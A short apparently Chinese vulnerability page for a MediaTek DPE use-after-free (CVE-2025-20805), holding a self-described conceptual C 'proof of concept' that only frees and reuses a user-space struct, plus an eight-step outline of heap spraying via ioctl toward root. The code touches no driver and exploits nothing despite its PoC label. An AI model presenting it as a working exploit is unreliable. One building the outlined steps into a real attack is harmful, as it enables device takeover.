MediaTek DPE组件Use After Free本地权限提升漏洞(CVE-2025-20805)

// CVE-2025-20805 PoC - MediaTek DPE Use After Free // This is a conceptual proof of concept demonstrating the vulnerability pattern // Requires system-level privileges to exploit #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated DPE object structure struct DPEObject { void* vtable; char* buffer; size_t size; int flags; }; // Vulnerable function pattern - accessing freed memory void trigger_use_after_free(struct DPEObject* obj) { // This simulates the vulnerable code path in DPE // After obj is freed, accessing obj->buffer leads to UAF if (obj != NULL && obj->buffer != NULL) { printf("Accessing buffer at %p\n", obj->buffer); // Potential arbitrary read/write here } } // Function to trigger the vulnerability int trigger_vulnerability() { struct DPEObject* obj = (struct DPEObject*)malloc(sizeof(struct DPEObject)); if (obj == NULL) return -1; // Initialize object obj->buffer = (char*)malloc(256); obj->size = 256; // Trigger normal operation trigger_use_after_free(obj); // Free the object (simulating the vulnerable condition) free(obj->buffer); free(obj); // UAF condition: obj pointer still exists, buffer was freed // In real exploit, attacker would spray heap and trigger reallocation trigger_use_after_free(obj); // Use after free! return 0; } int main() { printf("CVE-2025-20805 PoC - MediaTek DPE Use After Free\n"); printf("Requires system privileges to exploit\n"); trigger_vulnerability(); return 0; } /* Actual exploitation steps: 1. Obtain system-level privileges 2. Identify DPE driver interface through /dev/ or sysfs 3. Spray heap with controlled data using ioctl calls 4. Trigger object allocation in DPE 5. Free the object through specific ioctl 6. Reallocate freed memory with attacker-controlled data 7. Trigger use-after-free condition 8. Achieve privilege escalation to root */